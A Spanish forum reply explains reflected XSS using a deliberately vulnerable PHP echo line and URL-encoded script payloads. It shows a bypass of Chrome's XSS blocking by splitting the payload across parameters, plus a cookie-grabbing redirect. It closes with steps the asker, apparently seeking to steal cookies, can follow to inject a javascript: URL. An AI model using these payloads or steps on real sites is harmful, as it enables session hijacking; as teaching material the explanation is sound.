primero mencionar que no estoy muy al tanto sobre los ataques de inyecciones. el caso que tu expone es bien simple, pero hay otros que son más complejos. recuerda que este ataque se da porque el sitio web confia en el contenido proveido por el usuario. en este contexto, eso significa que no se toma la seguridad de satinizar el contenido antes de utilizarlo. partiendo de ahí, asumamos un script php que imprime los parámetros.
Código PHP:
# vulnerable.php
# codigo vulnerable, imprime los parametros sin antes limpiarlo;
foreach($_GET as $v) echo $v;
una ruta maliciosa con código html para ese script. nota: puesto que el schema URL utiliza ciertos caracteres con significados particulares, dichos caracteres hay que escaparlos (encodeURIComponent) para que lo tome como literal. por esa razón en los siguientes ejemplos verás las URLs con secuencias %xx.
Código:
vulnerable.php?code=%3Cscript%3Ealert('html%20y%20javascript%20inyectado')%3B%3C%2Fscript%3E
# php imprime;
<script>alert('html y javascript inyectado');</script>
en teoría, funciona en cualquier navegador. aunque recien me fijo que chrome bloquea la ejecucción del script y en la consola vemos un mensaje tal que
"Refused to execute a JavaScript script. Source code of script found within request". de todos modos, eso no significa que podemos confiar en esa seguridad del navegador. el caso de chrome asume que estas usando el contenido de un parámetro. el mismo código pero fraccionado en dos parámetros, chrome no lo bloquea. por eso en el mensaje anterior comentaba que depende mucho de como estas manejando el contenido.
Código:
vulnerable.php?open=%3Cscript%3Ealert('html%20y%20javascript%20inyectado')%3B%3C%2F&close=script%3E
# php imprime;
<script>alert('html y javascript inyectado');</script>
ahora bien, tu caso particular es que quieres pasar las cookies de un documento a otro ajeno -el atacante. lo que esta fallando en tu ejemplo es que estas creando una url y no un script. el navegador no puede considerar ambas cosas, o es una url o es un script. quizas sabrás, para ejecutar un script en formato url debes indicar al inicio el pseudo-protocolo javascript
:. usando el mismo código php vulnerable, el objetivo se podría hacer de la siguiente forma.
Código:
vulnerable.php?attack=%3Cscript%3Elocation.href%3D%22vulnerable.php%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E
# php imprime ;
# <script>location.href="vulnerable.php?cookie="+encodeURIComponent(document.cookie);</script>
el resultado es que se envia a si mismo los valores con las cookies por parámetros. el cual, consecuentemente php imprime el parámetro -las cookies en si. este ejemplo usa el mismo script php, obviamente un atacante lo cambiaría por su web de destino.
volviendo a tu caso, me parece a mi lo que debes pasar como valor de parámetro es una url pseudo-javascript el cual sera impreso directamente como valor del atributo href de un enlace. en teoría, lo que debes hacer es: en una consola escribes el código javascript malicioso; al inicio agregas el pseudo-protocolo javascript; conviertes todo ese código en string y lo pasas por encodeURIComponent; copias el resultado y lo pegas como parámetro para la web vulnerable.